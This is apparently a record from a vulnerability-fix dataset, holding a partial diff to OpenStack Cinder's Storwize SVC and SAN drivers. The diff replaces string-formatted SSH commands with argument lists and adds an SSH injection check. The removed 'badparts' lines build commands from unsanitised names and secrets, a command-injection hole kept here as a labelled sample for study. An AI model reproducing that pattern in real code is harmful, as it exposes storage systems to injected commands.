LOG.debug(_('leave: _create_vdisk: volume %s ') % name)\n \n def _make_fc_map(self, source, target, full_copy):\n- copyflag = '' if full_copy else '-copyrate 0'\n- fc_map_cli_cmd = ('svctask mkfcmap -source %(src)s -target %(tgt)s '\n- '-autodelete %(copyflag)s' %\n- {'src': source,\n- 'tgt': target,\n- 'copyflag': copyflag})\n+ fc_map_cli_cmd = ['svctask', 'mkfcmap', '-source', source, '-target',\n+ target, '-autodelete']\n+ if not full_copy:\n+ fc_map_cli_cmd.extend(['-copyrate', '0'])\n out, err = self._run_ssh(fc_map_cli_cmd)\n self._driver_assert(\n len(out.strip()),\n@@ -1020,7 +1016,7 @@ def _make_fc_map(self, source, target, full_copy):\n \n def _call_prepare_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask prestartfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'prestartfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_prepare_fc_map: Failed to prepare FlashCopy '\n@@ -1077,7 +1073,7 @@ def _prepare_fc_map(self, fc_map_id, source, target):\n \n def _start_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask startfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'startfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_start_fc_map: Failed to start FlashCopy '\n@@ -1148,8 +1144,8 @@ def _get_flashcopy_mapping_attributes(self, fc_map_id):\n LOG.debug(_('enter: _get_flashcopy_mapping_attributes: mapping %s')\n % fc_map_id)\n \n- fc_ls_map_cmd = 'svcinfo lsfcmap -filtervalue id=%s -delim !' % \\\n- fc_map_id\n+ fc_ls_map_cmd = ['svcinfo', 'lsfcmap', '-filtervalue',\n+ 'id=%s' % fc_map_id, '-delim', '!']\n out, err = self._run_ssh(fc_ls_map_cmd)\n if not len(out.strip()):\n return None\n@@ -1204,8 +1200,8 @@ def _ensure_vdisk_no_fc_mappings(self, name, allow_snaps=True):\n if source == name:\n if not allow_snaps:\n return False\n- ssh_cmd = ('svctask chfcmap -copyrate 50 '\n- '-autodelete on %s' % map_id)\n+ ssh_cmd = ['svctask', 'chfcmap', '-copyrate', '50',\n+ '-autodelete', 'on', map_id]\n out, err = self._run_ssh(ssh_cmd)\n wait_for_copy = True\n # Case #3: A snapshot\n@@ -1215,19 +1211,20 @@ def _ensure_vdisk_no_fc_mappings(self, name, allow_snaps=True):\n {'name': name, 'src': source, 'tgt': target})\n self._driver_assert(target == name, msg)\n if status in ['copying', 'prepared']:\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n elif status in ['stopping', 'preparing']:\n wait_for_copy = True\n else:\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force',\n+ map_id])\n # Case 4: Copy in progress - wait and will autodelete\n else:\n if status == 'prepared':\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n elif status == 'idle_or_copied':\n # Prepare failed\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n else:\n wait_for_copy = True\n if wait_for_copy:\n@@ -1266,9 +1263,9 @@ def _delete_vdisk(self, name, force):\n \n self._ensure_vdisk_no_fc_mappings(name)\n \n- forceflag = '-force' if force else ''\n- cmd_params = {'frc': forceflag, 'name': name}\n- ssh_cmd = 'svctask rmvdisk %(frc)s %(name)s' % cmd_params\n+ ssh_cmd = ['svctask', 'rmvdisk', '-force', name]\n+ if not force:\n+ ssh_cmd.remove('-force')\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmvdisk\n self._assert_ssh_return(len(out.strip()) == 0,\n@@ -1336,8 +1333,8 @@ def extend_volume(self, volume, new_size):\n raise exception.VolumeBackendAPIException(data=exception_message)\n \n extend_amt = int(new_size) - volume['size']\n- ssh_cmd = ('svctask expandvdisksize -size %(amt)d -unit gb %(name)s'\n- % {'amt': extend_amt, 'name': volume['name']})\n+ ssh_cmd = (['svctask', 'expandvdisksize', '-size', str(extend_amt),\n+ '-unit', 'gb', volume['name']])\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from expandvdisksize\n self._assert_ssh_return(len(out.strip()) == 0, 'extend_volume',\n@@ -1376,7 +1373,7 @@ def _update_volume_stats(self):\n \n pool = self.configuration.storwize_svc_volpool_name\n #Get storage system name\n- ssh_cmd = 'svcinfo lssystem -delim !'\n+ ssh_cmd = ['svcinfo', 'lssystem', '-delim', '!']\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes or not attributes['name']:\n exception_message = (_('_update_volume_stats: '\n@@ -1388,7 +1385,7 @@ def _update_volume_stats(self):\n backend_name = '%s_%s' % (attributes['name'], pool)\n data['volume_backend_name'] = backend_name\n \n- ssh_cmd = 'svcinfo lsmdiskgrp -bytes -delim ! %s' % pool\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-bytes', '-delim', '!', pool]\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes:\n LOG.error(_('Could not get pool data from the storage'))\n@@ -1406,7 +1403,7 @@ def _update_volume_stats(self):\n self._stats = data\n \n def _port_conf_generator(self, cmd):\n- ssh_cmd = '%s -delim !' % cmd\n+ ssh_cmd = cmd + ['-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -1483,7 +1480,7 @@ def _execute_command_and_parse_attributes(self, ssh_cmd):\n \"\"\"\n \n LOG.debug(_('enter: _execute_command_and_parse_attributes: '\n- ' command %s') % ssh_cmd)\n+ ' command %s') % str(ssh_cmd))\n \n try:\n out, err = self._run_ssh(ssh_cmd)\n@@ -1509,7 +1506,7 @@ def _execute_command_and_parse_attributes(self, ssh_cmd):\n LOG.debug(_('leave: _execute_command_and_parse_attributes:\\n'\n 'command: %(cmd)s\\n'\n 'attributes: %(attr)s')\n- % {'cmd': ssh_cmd,\n+ % {'cmd': str(ssh_cmd),\n 'attr': str(attributes)})\n \n return attributes\n", "files": {"/cinder/tests/test_storwize_svc.py": {"changes": [{"diff": "\n return True\n \n # Convert argument string to dictionary\n- def _cmd_to_dict(self, cmd):\n- arg_list = cmd.split()\n+ def _cmd_to_dict(self, arg_list):\n no_param_args = [\n 'autodelete',\n 'autoexpand',\n", "add": 1, "remove": 2, "filename": "/cinder/tests/test_storwize_svc.py", "badparts": [" def _cmd_to_dict(self, cmd):", " arg_list = cmd.split()"], "goodparts": [" def _cmd_to_dict(self, arg_list):"]}, {"diff": "\n \n command = kwargs['cmd']\n del kwargs['cmd']\n- arg_list = cmd.split()\n \n if command == 'lsmdiskgrp':\n out, err = self._cmd_lsmdiskgrp(**kwargs", "add": 0, "remove": 1, "filename": "/cinder/tests/test_storwize_svc.py", "badparts": [" arg_list = cmd.split()"], "goodparts": []}]}, "/cinder/volume/drivers/san/san.py": {"changes": [{"diff": "\n command = ' '.join(cmd)\n return self._run_ssh(command, check_exit_code)\n \n- def _run_ssh(self, command, check_exit_code=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit_code=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_", "add": 4, "remove": 1, "filename": "/cinder/volume/drivers/san/san.py", "badparts": [" def _run_ssh(self, command, check_exit_code=True, attempts=1):"], "goodparts": [" def _run_ssh(self, cmd_list, check_exit_code=True, attempts=1):", " utils.check_ssh_injection(cmd_list)", " command = ' '. join(cmd_list)"]}], "source": "\n \"\"\" Default Driver for san-stored volumes. The unique thing about a SAN is that we don't expect that we can run the volume controller on the SAN hardware. We expect to access it over SSH or some API. \"\"\" import random from eventlet import greenthread from oslo.config import cfg from cinder import exception from cinder.openstack.common import excutils from cinder.openstack.common import log as logging from cinder import utils from cinder.volume import driver LOG=logging.getLogger(__name__) san_opts=[ cfg.BoolOpt('san_thin_provision', default=True, help='Use thin provisioning for SAN volumes?'), cfg.StrOpt('san_ip', default='', help='IP address of SAN controller'), cfg.StrOpt('san_login', default='admin', help='Username for SAN controller'), cfg.StrOpt('san_password', default='', help='Password for SAN controller', secret=True), cfg.StrOpt('san_private_key', default='', help='Filename of private key to use for SSH authentication'), cfg.StrOpt('san_clustername', default='', help='Cluster name to use for creating volumes'), cfg.IntOpt('san_ssh_port', default=22, help='SSH port to use with SAN'), cfg.BoolOpt('san_is_local', default=False, help='Execute commands locally instead of over SSH; ' 'use if the volume service is running on the SAN device'), cfg.IntOpt('ssh_conn_timeout', default=30, help=\"SSH connection timeout in seconds\"), cfg.IntOpt('ssh_min_pool_conn', default=1, help='Minimum ssh connections in the pool'), cfg.IntOpt('ssh_max_pool_conn', default=5, help='Maximum ssh connections in the pool'), ] CONF=cfg.CONF CONF.register_opts(san_opts) class SanDriver(driver.VolumeDriver): \"\"\"Base class for SAN-style storage volumes A SAN-style storage value is 'different' because the volume controller probably won't run on it, so we need to access is over SSH or another remote protocol. \"\"\" def __init__(self, *args, **kwargs): execute=kwargs.pop('execute', self.san_execute) super(SanDriver, self).__init__(execute=execute, *args, **kwargs) self.configuration.append_config_values(san_opts) self.run_local=self.configuration.san_is_local self.sshpool=None def san_execute(self, *cmd, **kwargs): if self.run_local: return utils.execute(*cmd, **kwargs) else: check_exit_code=kwargs.pop('check_exit_code', None) command=' '.join(cmd) return self._run_ssh(command, check_exit_code) def _run_ssh(self, command, check_exit_code=True, attempts=1): if not self.sshpool: password=self.configuration.san_password privatekey=self.configuration.san_private_key min_size=self.configuration.ssh_min_pool_conn max_size=self.configuration.ssh_max_pool_conn self.sshpool=utils.SSHPool(self.configuration.san_ip, self.configuration.san_ssh_port, self.configuration.ssh_conn_timeout, self.configuration.san_login, password=password, privatekey=privatekey, min_size=min_size, max_size=max_size) last_exception=None try: total_attempts=attempts with self.sshpool.item() as ssh: while attempts > 0: attempts -=1 try: return utils.ssh_execute( ssh, command, check_exit_code=check_exit_code) except Exception as e: LOG.error(e) last_exception=e greenthread.sleep(random.randint(20, 500) / 100.0) try: raise exception.ProcessExecutionError( exit_code=last_exception.exit_code, stdout=last_exception.stdout, stderr=last_exception.stderr, cmd=last_exception.cmd) except AttributeError: raise exception.ProcessExecutionError( exit_code=-1, stdout=\"\", stderr=\"Error running SSH command\", cmd=command) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_(\"Error running SSH command: %s\") % command) def ensure_export(self, context, volume): \"\"\"Synchronously recreates an export for a logical volume.\"\"\" pass def create_export(self, context, volume): \"\"\"Exports the volume.\"\"\" pass def remove_export(self, context, volume): \"\"\"Removes an export for a logical volume.\"\"\" pass def check_for_setup_error(self): \"\"\"Returns an error if prerequisites aren't met.\"\"\" if not self.run_local: if not(self.configuration.san_password or self.configuration.san_private_key): raise exception.InvalidInput( reason=_('Specify san_password or san_private_key')) if not self.configuration.san_ip: raise exception.InvalidInput(reason=_(\"san_ip must be set\")) class SanISCSIDriver(SanDriver, driver.ISCSIDriver): def __init__(self, *args, **kwargs): super(SanISCSIDriver, self).__init__(*args, **kwargs) def _build_iscsi_target_name(self, volume): return \"%s%s\" %(self.configuration.iscsi_target_prefix, volume['name']) ", "sourceWithComments": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\n# Copyright 2011 Justin Santa Barbara\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\"\"\"\nDefault Driver for san-stored volumes.\n\nThe unique thing about a SAN is that we don't expect that we can run the volume\ncontroller on the SAN hardware. We expect to access it over SSH or some API.\n\"\"\"\n\nimport random\n\nfrom eventlet import greenthread\nfrom oslo.config import cfg\n\nfrom cinder import exception\nfrom cinder.openstack.common import excutils\nfrom cinder.openstack.common import log as logging\nfrom cinder import utils\nfrom cinder.volume import driver\n\nLOG = logging.getLogger(__name__)\n\nsan_opts = [\n cfg.BoolOpt('san_thin_provision',\n default=True,\n help='Use thin provisioning for SAN volumes?'),\n cfg.StrOpt('san_ip',\n default='',\n help='IP address of SAN controller'),\n cfg.StrOpt('san_login',\n default='admin',\n help='Username for SAN controller'),\n cfg.StrOpt('san_password',\n default='',\n help='Password for SAN controller',\n secret=True),\n cfg.StrOpt('san_private_key',\n default='',\n help='Filename of private key to use for SSH authentication'),\n cfg.StrOpt('san_clustername',\n default='',\n help='Cluster name to use for creating volumes'),\n cfg.IntOpt('san_ssh_port',\n default=22,\n help='SSH port to use with SAN'),\n cfg.BoolOpt('san_is_local',\n default=False,\n help='Execute commands locally instead of over SSH; '\n 'use if the volume service is running on the SAN device'),\n cfg.IntOpt('ssh_conn_timeout',\n default=30,\n help=\"SSH connection timeout in seconds\"),\n cfg.IntOpt('ssh_min_pool_conn',\n default=1,\n help='Minimum ssh connections in the pool'),\n cfg.IntOpt('ssh_max_pool_conn',\n default=5,\n help='Maximum ssh connections in the pool'),\n]\n\nCONF = cfg.CONF\nCONF.register_opts(san_opts)\n\n\nclass SanDriver(driver.VolumeDriver):\n \"\"\"Base class for SAN-style storage volumes\n\n A SAN-style storage value is 'different' because the volume controller\n probably won't run on it, so we need to access is over SSH or another\n remote protocol.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n execute = kwargs.pop('execute', self.san_execute)\n super(SanDriver, self).__init__(execute=execute,\n *args, **kwargs)\n self.configuration.append_config_values(san_opts)\n self.run_local = self.configuration.san_is_local\n self.sshpool = None\n\n def san_execute(self, *cmd, **kwargs):\n if self.run_local:\n return utils.execute(*cmd, **kwargs)\n else:\n check_exit_code = kwargs.pop('check_exit_code', None)\n command = ' '.join(cmd)\n return self._run_ssh(command, check_exit_code)\n\n def _run_ssh(self, command, check_exit_code=True, attempts=1):\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_key\n min_size = self.configuration.ssh_min_pool_conn\n max_size = self.configuration.ssh_max_pool_conn\n self.sshpool = utils.SSHPool(self.configuration.san_ip,\n self.configuration.san_ssh_port,\n self.configuration.ssh_conn_timeout,\n self.configuration.san_login,\n password=password,\n privatekey=privatekey,\n min_size=min_size,\n max_size=max_size)\n last_exception = None\n try:\n total_attempts = attempts\n with self.sshpool.item() as ssh:\n while attempts > 0:\n attempts -= 1\n try:\n return utils.ssh_execute(\n ssh,\n command,\n check_exit_code=check_exit_code)\n except Exception as e:\n LOG.error(e)\n last_exception = e\n greenthread.sleep(random.randint(20, 500) / 100.0)\n try:\n raise exception.ProcessExecutionError(\n exit_code=last_exception.exit_code,\n stdout=last_exception.stdout,\n stderr=last_exception.stderr,\n cmd=last_exception.cmd)\n except AttributeError:\n raise exception.ProcessExecutionError(\n exit_code=-1,\n stdout=\"\",\n stderr=\"Error running SSH command\",\n cmd=command)\n\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error running SSH command: %s\") % command)\n\n def ensure_export(self, context, volume):\n \"\"\"Synchronously recreates an export for a logical volume.\"\"\"\n pass\n\n def create_export(self, context, volume):\n \"\"\"Exports the volume.\"\"\"\n pass\n\n def remove_export(self, context, volume):\n \"\"\"Removes an export for a logical volume.\"\"\"\n pass\n\n def check_for_setup_error(self):\n \"\"\"Returns an error if prerequisites aren't met.\"\"\"\n if not self.run_local:\n if not (self.configuration.san_password or\n self.configuration.san_private_key):\n raise exception.InvalidInput(\n reason=_('Specify san_password or san_private_key'))\n\n # The san_ip must always be set, because we use it for the target\n if not self.configuration.san_ip:\n raise exception.InvalidInput(reason=_(\"san_ip must be set\"))\n\n\nclass SanISCSIDriver(SanDriver, driver.ISCSIDriver):\n def __init__(self, *args, **kwargs):\n super(SanISCSIDriver, self).__init__(*args, **kwargs)\n\n def _build_iscsi_target_name(self, volume):\n return \"%s%s\" % (self.configuration.iscsi_target_prefix,\n volume['name'])\n"}, "/cinder/volume/drivers/storwize_svc.py": {"changes": [{"diff": "\n for char in invalid_ch_in_host)\n \n def _get_iscsi_ip_addrs(self):\n- generator = self._port_conf_generator('svcinfo lsportip')\n+ generator = self._port_conf_generator(['svcinfo', 'lsportip'])\n header = next(generator, None)\n if not header:\n return\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" generator = self._port_conf_generator('svcinfo lsportip')"], "goodparts": [" generator = self._port_conf_generator(['svcinfo', 'lsportip'])"]}, {"diff": "\n def _get_fc_wwpns(self):\n for key in self._storage_nodes:\n node = self._storage_nodes[key]\n- ssh_cmd = 'svcinfo lsnode -delim ! %s' % node['id']\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!', node['id']]\n raw = self._run_ssh(ssh_cmd)\n resp = CLIResponse(raw, delim='!', with_header=False)\n wwpns = set(node['WWPN'])\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsnode -delim ! %s' % node['id']"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!', node['id']]"]}, {"diff": "\n self._context = ctxt\n \n # Validate that the pool exists\n- ssh_cmd = 'svcinfo lsmdiskgrp -delim ! -nohdr'\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-delim', '!', '-nohdr']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsmdiskgrp -delim ! -nohdr'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-delim', '!', '-nohdr']"]}, {"diff": "\n # Check if compression is supported\n self._compression_enabled = False\n try:\n- ssh_cmd = 'svcinfo lslicense -delim !'\n+ ssh_cmd = ['svcinfo', 'lslicense', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n license_lines = out.strip().split('\\n')\n for license_line in license_lines:\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lslicense -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lslicense', '-delim', '!']"]}, {"diff": "\n LOG.exception(_('Failed to get license information.'))\n \n # Get the iSCSI and FC names of the Storwize/SVC nodes\n- ssh_cmd = 'svcinfo lsnode -delim !'\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsnode -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!']"]}, {"diff": "\n \"\"\"Generate and store a randomly-generated CHAP secret for the host.\"\"\"\n \n chap_secret = utils.generate_password()\n- ssh_cmd = ('svctask chhost -chapsecret \"%(chap_secret)s\" %(host_name)s'\n- % {'chap_secret': chap_secret, 'host_name': host_name})\n+ ssh_cmd = ['svctask', 'chhost', '-chapsecret', chap_secret, host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from chhost\n self._assert_ssh_return(len(out.strip()) == 0,\n", "add": 1, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask chhost -chapsecret \"%(chap_secret)s\" %(host_name)s'", " % {'chap_secret': chap_secret, 'host_name': host_name})"], "goodparts": [" ssh_cmd = ['svctask', 'chhost', '-chapsecret', chap_secret, host_name]"]}, {"diff": "\n LOG.debug(_('enter: _get_chap_secret_for_host: host name %s')\n % host_name)\n \n- ssh_cmd = 'svcinfo lsiscsiauth -delim !'\n+ ssh_cmd = ['svcinfo', 'lsiscsiauth', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsiscsiauth -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsiscsiauth', '-delim', '!']"]}, {"diff": "\n \n def _find_host_from_wwpn(self, connector):\n for wwpn in connector['wwpns']:\n- ssh_cmd = 'svcinfo lsfabric -wwpn %s -delim !' % wwpn\n+ ssh_cmd = ['svcinfo', 'lsfabric', '-wwpn', wwpn, '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsfabric -wwpn %s -delim !' % wwpn"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsfabric', '-wwpn', wwpn, '-delim', '!']"]}, {"diff": "\n \n def _find_host_exhaustive(self, connector, hosts):\n for host in hosts:\n- ssh_cmd = 'svcinfo lshost -delim ! %s' % host\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!', host]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()),\n '_find_host_exhaustive',\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lshost -delim ! %s' % host"], "goodparts": [" ssh_cmd = ['svcinfo', 'lshost', '-delim', '!', host]"]}, {"diff": "\n LOG.debug(_('enter: _get_host_from_connector: prefix %s') % prefix)\n \n # Get list of host in the storage\n- ssh_cmd = 'svcinfo lshost -delim !'\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lshost -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lshost', '-delim', '!']"]}, {"diff": "\n # When creating a host, we need one port\n self._driver_assert(len(ports), _('_create_host: No connector ports'))\n port1 = ports.pop(0)\n- ssh_cmd = ('svctask mkhost -force %(port1)s -name \"%(host_name)s\"' %\n- {'port1': port1, 'host_name': host_name})\n+ arg_name, arg_val = port1.split()\n+ ssh_cmd = ['svctask', 'mkhost', '-force', arg_name, arg_val, '-name',\n+ '\"%s\"' % host_name]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return('successfully created' in out,\n '_create_host', ssh_cmd, out, err)\n \n # Add any additional ports to the host\n for port in ports:\n- ssh_cmd = ('svctask addhostport -force %s %s' % (port, host_name))\n+ arg_name, arg_val = port.split()\n+ ssh_cmd = ['svctask', 'addhostport', '-force', arg_name, arg_val,\n+ host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n LOG.debug(_('leave: _create_host: host %(host)s - %(host_name)s') %\n", "add": 6, "remove": 3, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask mkhost -force %(port1)s -name \"%(host_name)s\"' %", " {'port1': port1, 'host_name': host_name})", " ssh_cmd = ('svctask addhostport -force %s %s' % (port, host_name))"], "goodparts": [" arg_name, arg_val = port1.split()", " ssh_cmd = ['svctask', 'mkhost', '-force', arg_name, arg_val, '-name',", " '\"%s\"' % host_name]", " arg_name, arg_val = port.split()", " ssh_cmd = ['svctask', 'addhostport', '-force', arg_name, arg_val,", " host_name]"]}, {"diff": "\n \"\"\"Return the defined storage mappings for a host.\"\"\"\n \n return_data = {}\n- ssh_cmd = 'svcinfo lshostvdiskmap -delim ! %s' % host_name\n+ ssh_cmd = ['svcinfo', 'lshostvdiskmap', '-delim', '!', host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mappings = out.strip().split('\\n')\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lshostvdiskmap -delim ! %s' % host_name"], "goodparts": [" ssh_cmd = ['svcinfo', 'lshostvdiskmap', '-delim', '!', host_name]"]}, {"diff": "\n \n # Volume is not mapped to host, create a new LUN\n if not mapped_flag:\n- ssh_cmd = ('svctask mkvdiskhostmap -host %(host_name)s -scsi '\n- '%(result_lun)s %(volume_name)s' %\n- {'host_name': host_name,\n- 'result_lun': result_lun,\n- 'volume_name': volume_name})\n+ ssh_cmd = ['svctask', 'mkvdiskhostmap', '-host', host_name,\n+ '-scsi', result_lun, volume_name]\n out, err = self._run_ssh(ssh_cmd, check_exit_code=False)\n if err and err.startswith('CMMVC6071E'):\n if not self.configuration.storwize_svc_multihostmap_enabled:\n", "add": 2, "remove": 5, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask mkvdiskhostmap -host %(host_name)s -scsi '", " '%(result_lun)s %(volume_name)s' %", " {'host_name': host_name,", " 'result_lun': result_lun,", " 'volume_name': volume_name})"], "goodparts": [" ssh_cmd = ['svctask', 'mkvdiskhostmap', '-host', host_name,", " '-scsi', result_lun, volume_name]"]}, {"diff": "\n 'was not created because the VDisk is '\\\n 'already mapped to a host.\\n\"'\n raise exception.CinderException(data=exception_msg)\n- ssh_cmd = ssh_cmd.replace('mkvdiskhostmap',\n- 'mkvdiskhostmap -force')\n+\n+ for i in range(len(ssh_cmd)):\n+ if ssh_cmd[i] == 'mkvdiskhostmap':\n+ ssh_cmd.insert(i + 1, '-force')\n+\n # try to map one volume to multiple hosts\n out, err = self._run_ssh(ssh_cmd)\n LOG.warn(_('volume %s mapping to multi host') % volume_name)\n", "add": 5, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ssh_cmd.replace('mkvdiskhostmap',", " 'mkvdiskhostmap -force')"], "goodparts": [" for i in range(len(ssh_cmd)):", " if ssh_cmd[i] == 'mkvdiskhostmap':", " ssh_cmd.insert(i + 1, '-force')"]}, {"diff": "\n \n LOG.debug(_('enter: _delete_host: host %s ') % host_name)\n \n- ssh_cmd = 'svctask rmhost %s ' % host_name\n+ ssh_cmd = ['svctask', 'rmhost', host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmhost\n self._assert_ssh_return(len(out.strip()) == 0,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svctask rmhost %s ' % host_name"], "goodparts": [" ssh_cmd = ['svctask', 'rmhost', host_name]"]}, {"diff": "\n \n def _get_conn_fc_wwpns(self, host_name):\n wwpns = []\n- cmd = 'svcinfo lsfabric -host %s' % host_name\n+ cmd = ['svcinfo', 'lsfabric', '-host', host_name]\n generator = self._port_conf_generator(cmd)\n header = next(generator, None)\n if not header:\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" cmd = 'svcinfo lsfabric -host %s' % host_name"], "goodparts": [" cmd = ['svcinfo', 'lsfabric', '-host', host_name]"]}, {"diff": "\n # Check if vdisk-host mapping exists, remove if it does\n mapping_data = self._get_hostvdisk_mappings(host_name)\n if vol_name in mapping_data:\n- ssh_cmd = 'svctask rmvdiskhostmap -host %s %s' % \\\n- (host_name, vol_name)\n+ ssh_cmd = ['svctask', 'rmvdiskhostmap', '-host', host_name,\n+ vol_name]\n out, err = self._run_ssh(ssh_cmd)\n # Verify CLI behaviour - no output is returned from\n # rmvdiskhostmap\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svctask rmvdiskhostmap -host %s %s' % \\", " (host_name, vol_name)"], "goodparts": [" ssh_cmd = ['svctask', 'rmvdiskhostmap', '-host', host_name,", " vol_name]"]}, {"diff": "\n parsed/matched to a single vdisk.\n \"\"\"\n \n- ssh_cmd = 'svcinfo lsvdisk -bytes -delim ! %s ' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdisk', '-bytes', '-delim', '!', vdisk_name]\n return self._execute_command_and_parse_attributes(ssh_cmd)\n \n def _get_vdisk_fc_mappings(self, vdisk_name):\n \"\"\"Return FlashCopy mappings that this vdisk is associated with.\"\"\"\n \n- ssh_cmd = 'svcinfo lsvdiskfcmappings -nohdr %s' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdiskfcmappings', '-nohdr', vdisk_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mapping_ids = []\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsvdisk -bytes -delim ! %s ' % vdisk_name", " ssh_cmd = 'svcinfo lsvdiskfcmappings -nohdr %s' % vdisk_name"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsvdisk', '-bytes', '-delim', '!', vdisk_name]", " ssh_cmd = ['svcinfo', 'lsvdiskfcmappings', '-nohdr', vdisk_name]"]}, {"diff": "\n LOG.debug(_('enter: _create_vdisk: vdisk %s ') % name)\n \n model_update = None\n- autoex = '-autoexpand' if opts['autoexpand'] else ''\n- easytier = '-easytier on' if opts['easytier'] else '-easytier off'\n+ easytier = 'on' if opts['easytier'] else 'off'\n \n # Set space-efficient options\n if opts['rsize'] == -1:\n- ssh_cmd_se_opt = ''\n+ ssh_cmd_se_opt = []\n else:\n- 